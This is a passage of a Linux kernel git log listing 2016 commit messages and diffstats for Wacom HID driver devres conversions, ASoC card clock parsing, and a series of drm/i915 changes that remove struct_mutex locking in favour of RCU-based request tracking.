+0200 HID: wacom: use devres to allocate driver data We started switching the driver to devres, so we should use it as much as possible. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit c1f5409b74c14ac021ef847e034356c904bc7882 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:57 2016 +0200 HID: wacom: use devm_kasprintf for allocating the name of the remote The sysfs group was indeed removed by kobject_put(wacom->remote_dir) in wacom_remove(), but the name of the group was never freed. Also remove the misplaced kobject_put(wacom->remote_dir) in the error path of wacom_remote_create_attr_group(). Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 2df68a8864883ff006b76f50dfc32fd230247ef9 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:56 2016 +0200 HID: wacom: convert LEDs to devres Use our own wacom_devm_sysfs_create_group() as there is currently no generic one. It has been requested at least twice [1][2] but has been always rejected. However, in the Wacom case, for the wirelessly connected devices, we need to be able to release the created sysfs files without removing the parent kobject. [1] https://patchwork.kernel.org/patch/7526551/ [2] https://lkml.org/lkml/2013/3/14/728 Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 1 - drivers/hid/wacom_sys.c | 95 +++++++++++++++++++++++-------------------------- 2 files changed, 45 insertions(+), 51 deletions(-) commit 84dfbd7f2a58c8c79ba7947159fc5f2c521348f6 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:55 2016 +0200 HID: wacom: put the managed resources in a group We currently have a complex clean_inputs() function while this can be handled all by devres. Set a group that we can destroy in wireless_work(). Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 1 + drivers/hid/wacom_sys.c | 69 +++++++++++++++++++++---------------------------- drivers/hid/wacom_wac.c | 2 +- drivers/hid/wacom_wac.h | 3 --- 4 files changed, 32 insertions(+), 43 deletions(-) commit 3dad188e6a1c6a6213a21dee8b609ceab45d6258 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:54 2016 +0200 HID: wacom: switch inputs to devres Simplifying the error code paths. We need to keep wacom_clean_inputs() around for now as the wireless module is using it to dynamically remove the inputs on disconnect. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 34 ++++++++++++++++------------------ 1 file changed, 16 insertions(+), 18 deletions(-) commit b189da901536cf7e9c95c17dd159cfbaddcc0384 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:53 2016 +0200 HID: wacom: switch battery to devres Simplifying the error code paths. We need to keep wacom_destroy_battery() around for now as the wireless module and the remotes are using it to dynamically remove the battery supply on disconnect. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 38 ++++++++++++++++++++++++-------------- 1 file changed, 24 insertions(+), 14 deletions(-) commit d17d1f171158cc0663b072d91265cc8a6b477c77 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:52 2016 +0200 HID: wacom: use one work queue per task Looks like the battery hijacked the wireless worker. That's not fair so use a work queue per task. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 21 ++++++++++++++++++--- drivers/hid/wacom_sys.c | 10 ++++++---- drivers/hid/wacom_wac.c | 13 +++++-------- 3 files changed, 29 insertions(+), 15 deletions(-) commit 85d2c77b78acf6c30d6d4f7263fb5d30fec1f5c3 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:51 2016 +0200 HID: wacom: untie leds from inputs Like remotes, LEDs should be handled by themself, not magically behind the inputs as they have a complete different life. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit b62f6465ce1fcbfe4459eb9fd67566ced2a27994 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:50 2016 +0200 HID: wacom: remove cleanup of wacom->remote_dir from wacom_clean_inputs() wacom->remote_dir has nothing to do with inputs, so better not magically removing it when cleaning inputs. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) commit 97f9afa4f9cc5e88e092e47ebd17ebf3f764a582 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:49 2016 +0200 HID: wacom: store the type in wacom->shared for INTUOSHT and INTUOSHT2 The type is never set but we check for it in wacom_wireless_irq(). It looks like this is a big hack from the beginning, so fill in the gap only. Untested. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d453b87612a0aba6ca6ec85447eeefa220cadec5 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:48 2016 +0200 HID: wacom: actually report the battery level for wireless connected Since fd5f92b ("HID: wacom: reuse wacom_parse_and_register() in wireless_work"), wacom->shared->type is not set. Send the information of the battery if we have one. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c9a235da8a61cf9af7653fca341ded0881a64eca Author: Kuninori Morimoto Date: Tue Jul 19 02:53:32 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_parse_clk() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 68 +++++++------------------------------------ 1 file changed, 10 insertions(+), 58 deletions(-) commit 28abd99b6e40741cd0e75be20817f23a3044d338 Author: Kuninori Morimoto Date: Tue Jul 19 02:53:13 2016 +0000 ASoC: simple-card: use asoc_simple_card_parse_clk() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 35 ++++++++++------------------------- 1 file changed, 10 insertions(+), 25 deletions(-) commit 08fc94733211f94755dd15028fb0a0129310fb5d Author: AceLan Kao Date: Thu Aug 4 10:26:20 2016 +0800 HID: input: add mic mute key on HP slim keyboard Add MIC mute key which is found on HP Business Slim Keyboard T: Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 23 Spd=1.5 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=03f0 ProdID=2f4a Rev=00.10 S: Manufacturer=Chicony S: Product=HP Business Slim Keyboard C: #Ifs= 2 Cfg#= 1 Atr=a0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=01 Prot=01 Driver=usbhid I: If#= 1 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=00 Prot=00 Driver=usbhid Signed-off-by: AceLan Kao Signed-off-by: Jiri Kosina drivers/hid/hid-input.c | 1 + 1 file changed, 1 insertion(+) commit 575e3ccbce4582395d57612b289178bad4af3be8 Author: Matthew Auld Date: Tue Aug 2 09:36:53 2016 +0100 drm/i915: fix WaInsertDummyPushConstPs As pointed out by Chris Harris, we are using the wrong WA name, it should in fact be WaToEnableHwFixForPushConstHWBug, also it should be applied from C0 onwards for both BXT and KBL. Fixes: 7b9005cd45f3 ("drm/i915: Add WaInsertDummyPushConstP for bxt and kbl") Cc: Chris Harris Cc: Mika Kuoppala Reported-by: Chris Harris Signed-off-by: Matthew Auld Reviewed-by: Arun Siluvery Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470127013-29653-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/intel_ringbuffer.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 209b3f7ed0e865ef0f3ffde3d623703019daeafc Author: Chris Wilson Date: Fri Aug 5 10:14:24 2016 +0100 drm/i915: Assert that the request hasn't been retired With all callers now not playing tricks with dropping the struct_mutex between waiting and retiring, we can assert that the request is ready to be retired. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-19-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 3e510a8e65ef6d1cf45c18bf79c8f91ec481f154 Author: Chris Wilson Date: Fri Aug 5 10:14:23 2016 +0100 drm/i915: Repack fence tiling mode and stride into a single integer In the previous commit, we moved the obj->tiling_mode out of a bitfield and into its own integer so that we could safely use READ_ONCE(). Let us now repair some of that damage by sharing the tiling_mode with its companion, the fence stride. v2: New magic Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-18-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 30 +++++++++++++++++------ drivers/gpu/drm/i915/i915_gem.c | 20 ++++++++------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- drivers/gpu/drm/i915/i915_gem_fence.c | 39 ++++++++++++++++++------------ drivers/gpu/drm/i915/i915_gem_tiling.c | 19 +++++++++------ drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 34 +++++++++++++------------- drivers/gpu/drm/i915/intel_fbc.c | 2 +- drivers/gpu/drm/i915/intel_overlay.c | 2 +- drivers/gpu/drm/i915/intel_pm.c | 2 +- drivers/gpu/drm/i915/intel_sprite.c | 12 ++++----- 12 files changed, 98 insertions(+), 68 deletions(-) commit deeb1519b65a92ca06c8e8554a92df0fdb4d5dea Author: Chris Wilson Date: Fri Aug 5 10:14:22 2016 +0100 drm/i915: Document and reject invalid tiling modes Through the GTT interface to the fence registers, we can only handle linear, X and Y tiling. The more esoteric tiling patterns are ignored. Document that the tiling ABI only supports upto Y tiling, and reject any attempts to set a tiling mode other than NONE, X or Y. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-17-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_tiling.c | 3 +++ include/uapi/drm/i915_drm.h | 1 + 2 files changed, 4 insertions(+) commit 9ad3676148511d6af72be6f3638e361fd86e1f7b Author: Chris Wilson Date: Fri Aug 5 10:14:21 2016 +0100 drm/i915: Remove locking for get_tiling Since we are not concerned with userspace racing itself with set-tiling (the order is indeterminant even if we take a lock), then we can safely read back the single obj->tiling_mode and do the static lookup of swizzle mode without having to take a lock. get-tiling is reasonably frequent due to the back-channel passing around of tiling parameters in DRI2/DRI3. v2: Make tiling_mode a full unsigned int so that we can trivially use it with READ_ONCE(). Separating it out into manual control over the flags field was too noisy for a simple patch. Note that we could use the lower bits of obj->stride for the tiling mode. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-16-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 15 ++++++++------- drivers/gpu/drm/i915/i915_gem_tiling.c | 10 +++------- 2 files changed, 11 insertions(+), 14 deletions(-) commit e883d73503205d1eaaf049b835bf135b46738f57 Author: Chris Wilson Date: Fri Aug 5 10:14:20 2016 +0100 drm/i915: Remove pinned check from madvise ioctl We don't need to incur the overhead of checking whether the object is pinned prior to changing its madvise. If the object is pinned, the madvise will not take effect until it is unpinned and so we cannot free the pages being pointed at by hardware. Marking a pinned object with allocated pages as DONTNEED will not trigger any undue warnings. The check is therefore superfluous, and by removing it we can remove a linear walk over all the vma the object has. Still despite it being an overzealous check, that error code is part of the current ABI and so we must proceed with caution. Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-15-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 6 ------ 1 file changed, 6 deletions(-) commit c21724cc4d3d5c96a15347f2435a753aff2007c4 Author: Chris Wilson Date: Fri Aug 5 10:14:19 2016 +0100 drm/i915: Reduce locking inside swfinish ioctl We only need to take the struct_mutex if the object is pinned to the display engine and so requires checking for clflush. (The race with userspace pinning the object to a framebuffer is irrelevant.) v2: Use access once for compiler hints (or not as it is a bitfield) v3: READ_ONCE, obj->pin_display is not a bitfield anymore v4: Don't be creative with goto. Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-14-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 27 ++++++++++++--------------- 1 file changed, 12 insertions(+), 15 deletions(-) commit 3fdc13c7a3cbd5788daad4cf1ddc619856e2f1c0 Author: Chris Wilson Date: Fri Aug 5 10:14:18 2016 +0100 drm/i915: Remove (struct_mutex) locking for busy-ioctl By applying the same logic as for wait-ioctl, we can query whether a request has completed without holding struct_mutex. The biggest impact system-wide is removing the flush_active and the contention that causes. Testcase: igt/gem_busy Signed-off-by: Chris Wilson Cc: Akash Goel Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-13-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 131 +++++++++++++++++++++++++++++++--------- 1 file changed, 101 insertions(+), 30 deletions(-) commit 033d549b811ea8512efd57fa5fb5c53e498e0db3 Author: Chris Wilson Date: Fri Aug 5 10:14:17 2016 +0100 drm/i915: Remove (struct_mutex) locking for wait-ioctl With a bit of care (and leniency) we can iterate over the object and wait for previous rendering to complete with judicial use of atomic reference counting. The ABI requires us to ensure that an active object is eventually flushed (like the busy-ioctl) which is guaranteed by our management of requests (i.e. everything that is submitted to hardware is flushed in the same request). All we have to do is ensure that we can detect when the requests are complete for reporting when the object is idle (without triggering ETIME), locklessly - this is handled by i915_gem_active_wait_unlocked(). The impact of this is actually quite small - the return to userspace following the wait was already lockless and so we don't see much gain in latency improvement upon completing the wait. What we do achieve here is completing an already finished wait without hitting the struct_mutex, our hold is quite short and so we are typically just a victim of contention rather than a cause - but it is still one less contention point! v2: Break up a long line. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-12-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 43 ++++++++++++----------------------------- 1 file changed, 12 insertions(+), 31 deletions(-) commit 258a5edee0a306d52f5f84ca8a45736efa309ca4 Author: Chris Wilson Date: Fri Aug 5 10:14:16 2016 +0100 drm/i915: Do a nonblocking wait first in pread/pwrite If we try and read or write to an active request, we first must wait upon the GPU completing that request. Let's do that without holding the mutex (and so allow someone else to access the GPU whilst we wait). Upon completion, we will acquire the mutex and only then start the operation (i.e. we do not rely on state from before the initial wait). v2: Repaint the goto labels v3: Move the tracepoints back to the start of the ioctls Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-11-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 60 ++++++++++++++++++++++++----------------- 1 file changed, 35 insertions(+), 25 deletions(-) commit 3b4e896f14b165298d4a85ee4da735633892eeb3 Author: Chris Wilson Date: Fri Aug 5 10:14:15 2016 +0100 drm/i915: Remove unused no-shrinker-steal After removing the user of this wart, we can remove the wart entirely. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-10-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 - drivers/gpu/drm/i915/i915_gem_shrinker.c | 3 --- 2 files changed, 4 deletions(-) commit f3f6184c5fab11d57a0c28524db2ddd6a68cb34a Author: Chris Wilson Date: Fri Aug 5 10:14:14 2016 +0100 drm/i915: Tidy generation of the GTT mmap offset If we make the observation that mmap-offsets are only released when we free an object, we can then deduce that the shrinker only creates free space in the mmap arena indirectly by flushing the request list and freeing expired objects. If we combine this with the lockless vma-manager and lockless idling, we can avoid taking our big struct_mutex until we need to actually free the requests. One side-effect is that we defer the madvise checking until we need the pages (i.e. the fault handler). This brings us into line with the other delayed checks (and madvise in general). v2: s/ret/err/ and use if (!err) rather than if (ret == 0) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 69 +++++++++++++---------------------------- 1 file changed, 22 insertions(+), 47 deletions(-) commit 5cba5be6b61d310590f48670f6285cdb83441b91 Author: Chris Wilson Date: Fri Aug 5 10:14:13 2016 +0100 drm/i915/shrinker: Wait before acquiring struct_mutex under oom We can now wait for the GPU (all engines) to become idle without requiring the struct_mutex. Inside the shrinker, we need to currently take the struct_mutex in order to purge objects and to purge the objects we need the GPU to be idle - causing a stall whilst we hold the struct_mutex. We can hide most of that stall by performing the wait before taking the struct_mutex and only doing essential waits for new rendering on objects to be freed. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_shrinker.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 307dc25bf64fb54575d60cf700c7b5b39f183b88 Author: Chris Wilson Date: Fri Aug 5 10:14:12 2016 +0100 drm/i915: Simplify do_idling() (Ironlake vt-d w/a) Now that we pass along the expected interruptible nature for the wait-for-idle, we do not need to modify the global i915->mm.interruptible for this single call. (Only the immediate call to i915_gem_wait_for_idle() takes the interruptible status as the other action, dma_map_sg(), is independent of i915.ko) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 37 ++++++++----------------------------- 1 file changed, 8 insertions(+), 29 deletions(-) commit dcff85c8443e7ad6abda897678d2fd5a950a64ad Author: Chris Wilson Date: Fri Aug 5 10:14:11 2016 +0100 drm/i915: Enable i915_gem_wait_for_idle() without holding struct_mutex The principal motivation for this was to try and eliminate the struct_mutex from i915_gem_suspend - but we still need to hold the mutex current for the i915_gem_context_lost(). (The issue there is that there may be an indirect lockdep cycle between cpu_hotplug (i.e. suspend) and struct_mutex via the stop_machine().) For the moment, enabling last request tracking for the engine, allows us to do busyness checking and waiting without requiring the struct_mutex - which is useful in its own right. As a side-effect of having a robust means for tracking engine busyness, we can replace our other busyness heuristic, that of comparing against the last submitted seqno. For paranoid reasons, we have a semi-ordered check of that seqno inside the hangchecker, which we can now improve to an ordered check of the engine's busyness (removing a locked xchg in the process). v2: Pass along "bool interruptible" as being unlocked we cannot rely on i915->mm.interruptible being stable or even under our control. v3: Replace check Ironlake i915_gpu_busy() with the common precalculated value Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_gem.c | 31 ++++++++++++++---------------- drivers/gpu/drm/i915/i915_gem_evict.c | 6 +++--- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.c | 7 ++++--- drivers/gpu/drm/i915/i915_gem_request.h | 11 +++++++++++ drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- drivers/gpu/drm/i915/i915_irq.c | 9 +-------- drivers/gpu/drm/i915/intel_engine_cs.c | 8 +++++++- drivers/gpu/drm/i915/intel_pm.c | 12 ++---------- drivers/gpu/drm/i915/intel_ringbuffer.c | 18 ----------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 33 ++++++++++++++++++++------------ 13 files changed, 68 insertions(+), 76 deletions(-) commit 90f4fcd56bda1f52381bbd5034e8fb32688e779b Author: Chris Wilson Date: Fri Aug 5 10:14:10 2016 +0100 drm/i915: Remove forced stop ring on suspend/unload Before suspending (or unloading), we would first wait upon all rendering to be completed and then disable the rings. This later step is a remanent from DRI1 days when we did not use request tracking for all operations upon the ring. Now that we are sure we are waiting upon the very last operation by the engine, we can forgo clobbering the ring registers, though we do keep the assert that the engine is indeed idle before sleeping. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 - drivers/gpu/drm/i915/i915_gem.c | 18 ------------------ drivers/gpu/drm/i915/intel_lrc.c | 26 -------------------------- drivers/gpu/drm/i915/intel_ringbuffer.c | 16 ---------------- 4 files changed, 61 deletions(-) commit f826ee21e594438f5f87e1125e0d8f5ad49b749a Author: Chris Wilson Date: Fri Aug 5 10:14:09 2016 +0100 drm/i915/userptr: Remove superfluous interruptible=false on waiting Inside the kthread context, we can't be interrupted by signals so touching the mm.interruptible flag is pointless and wait-request now consumes EIO itself. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_userptr.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 8a3b3d576c933d99fe774e9cb88005b87c3fb5c4 Author: Chris Wilson Date: Fri Aug 5 10:14:08 2016 +0100 drm/i915: Convert non-blocking userptr waits for requests over to using RCU We can completely avoid taking the struct_mutex around the non-blocking waits by switching over to the RCU request management (trading the mutex for a RCU read lock and some complex atomic operations). The improvement is that we gain further contention reduction, and overall the code become simpler due to the reduced mutex dancing. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_userptr.c | 34 +++++++-------------------------- 1 file changed, 7 insertions(+), 27 deletions(-) commit b8f9096d6a51e3ac31deb0f57a9a323059bb4281 Author: Chris Wilson Date: Fri Aug 5 10:14:07 2016 +0100 drm/i915: Convert non-blocking waits for requests over to using RCU We can completely avoid taking the struct_mutex around the non-blocking waits by switching over to the RCU request management (trading the mutex for a RCU read lock and some complex atomic operations). The improvement is that we gain further contention reduction, and overall the code become simpler due to the reduced mutex dancing. v2: Move i915_gem_fault tracepoint back to the start of the function, before the unlocked wait. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 114 +++++++++++++++++----------------------- 1 file changed, 48 insertions(+), 66 deletions(-) commit 2467658e2de3ca1dee6688b6b0b6f48263dfd532 Author: Chris Wilson Date: Fri Aug 5 10:14:06 2016 +0100 drm/i915: Introduce i915_gem_active_wait_unlocked() It is useful to be able to wait on pending rendering without grabbing the struct_mutex. We can do this by using the i915_gem_active_get_rcu() primitive to acquire a reference to the pending request without requiring struct_mutex, just the RCU read lock, and then call i915_wait_request(). v2: Rebase onto new i915_gem_active_get_unlocked() semantics that take the RCU read lock on behalf of the caller. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470388464-28458-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.h | 40 +++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit 94558e265b9539b2ecec98d037bae51c902663c1 Merge: 5ac9056 1cf915d Author: Daniel Vetter Date: Fri Aug 5 10:36:15 2016 +0200 Merge remote-tracking branch 'airlied/drm-next' into drm-intel-next-queued Backmerge the 4.8 pull request state from Dave - conflicts were getting out of hand, and Chris has some patches which outright don't apply without everything merged together again. Signed-off-by: Daniel Vetter commit 5ac9056753e79ac5ad1ccc3c99b311688e46e8c9 Author: Ville Syrjälä Date: Tue Aug 2 15:21:57 2016 +0300 drm/i915: Fix iboost setting for SKL Y/U DP DDI buffer translation entry 2 The spec was recently fixed to have the correct iboost setting for the SKL Y/U DP DDI buffer translation table entry 2. Update our tables to match. Cc: David Weinehall Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470140517-13011-1-git-send-email-ville.syrjala@linux.intel.com Cc: stable@vger.kernel.org Reviewed-by: David Weinehall drivers/gpu/drm/i915/intel_ddi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 055c3ff69d440928964228455ec29b071258d5fa Author: Matt Roper Date: Thu Aug 4 14:08:00 2016 -0700 drm/i915/gen9: Give one extra block per line for SKL plane WM calculations The bspec was updated a couple weeks ago to add an extra block per line to plane watermark calculations for linear pixel formats. Bspec update 115327 description: "Gen9+ - Updated the plane blocks per line calculation for linear cases. Adds +1 for all linear cases to handle the non-block aligned stride cases." Cc: Lyude Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Matt Roper Link: http://patchwork.freedesktop.org/patch/msgid/1470344880-27394-1-git-send-email-matthew.d.roper@intel.com Reviewed-by: Lyude drivers/gpu/drm/i915/intel_pm.c | 2 ++ 1 file changed, 2 insertions(+) commit ad778f8967ea2f0bfda02701f918bcfcd495b721 Author: Chris Wilson Date: Thu Aug 4 16:32:42 2016 +0100 drm/i915: Export our request as a dma-buf fence on the reservation object If the GEM objects being rendered with in this request have been exported via dma-buf to a third party, hook ourselves into the dma-buf reservation object so that the third party can serialise with our rendering via the dma-buf fences. Testcase: igt/prime_busy Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-26-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_dmabuf.c | 58 ++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 31 ++++++++++++++-- 2 files changed, 84 insertions(+), 5 deletions(-) commit 0eafec6d3244802d469712682b0f513963c23eff Author: Chris Wilson Date: Thu Aug 4 16:32:41 2016 +0100 drm/i915: Enable lockless lookup of request tracking via RCU If we enable RCU for the requests (providing a grace period where we can inspect a "dead" request before it is freed), we can allow callers to carefully perform lockless lookup of an active request. However, by enabling deferred freeing of requests, we can potentially hog a lot of memory when dealing with tens of thousands of requests per second - with a quick insertion of a synchronize_rcu() inside our shrinker callback, that issue disappears. v2: Currently, it is our responsibility to handle reclaim i.e. to avoid hogging memory with the delayed slab frees. At the moment, we wait for a grace period in the shrinker, and block for all RCU callbacks on oom. Suggested alternatives focus on flushing our RCU callback when we have a certain number of outstanding request frees, and blocking on that flush after a second high watermark. (So rather than wait for the system to run out of memory, we stop issuing requests - both are nondeterministic.) Paul E. McKenney wrote: Another approach is synchronize_rcu() after some largish number of requests. The advantage of this approach is that it throttles the production of callbacks at the source. The corresponding disadvantage is that it slows things up. Another approach is to use call_rcu(), but if the previous call_rcu() is still in flight, block waiting for it. Yet another approach is the get_state_synchronize_rcu() / cond_synchronize_rcu() pair. The idea is to do something like this: cond_synchronize_rcu(cookie); cookie = get_state_synchronize_rcu(); You would of course do an initial get_state_synchronize_rcu() to get things going. This would not block unless there was less than one grace period's worth of time between invocations. But this assumes a busy system, where there is almost always a grace period in flight. But you can make that happen as follows: cond_synchronize_rcu(cookie); cookie = get_state_synchronize_rcu(); call_rcu(&my_rcu_head, noop_function); Note that you need additional code to make sure that the old callback has completed before doing a new one. Setting and clearing a flag with appropriate memory ordering control suffices (e.g,. smp_load_acquire() and smp_store_release()). v3: More comments on compiler and processor order of operations within the RCU lookup and discover we can use rcu_access_pointer() here instead. v4: Wrap i915_gem_active_get_rcu() to take the rcu_read_lock itself. Signed-off-by: Chris Wilson Cc: Maarten Lankhorst Cc: "Goel, Akash" Cc: Josh Triplett Cc: Daniel Vetter Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-25-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 7 +- drivers/gpu/drm/i915/i915_gem_request.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.h | 163 +++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/i915_gem_shrinker.c | 15 ++- 4 files changed, 174 insertions(+), 13 deletions(-) commit 00e60f2659321a65a737c6aae6e106ed63ae993d Author: Chris Wilson Date: Thu Aug 4 16:32:40 2016 +0100 drm/i915: Move i915_gem_object_wait_rendering() Just move it earlier so that we can use the companion nonblocking version in a couple of more callsites without having to add a forward declaration. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-24-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 204 ++++++++++++++++++++-------------------- 1 file changed, 103 insertions(+), 101 deletions(-) commit 573adb396241e2aa46401529abdba93bc1886a48 Author: Chris Wilson Date: Thu Aug 4 16:32:39 2016 +0100 drm/i915: Move obj->active:5 to obj->flags We are motivated to avoid using a bitfield for obj->active for a couple of reasons. Firstly, we wish to document our lockless read of obj->active using READ_ONCE inside i915_gem_busy_ioctl() and that requires an integral type 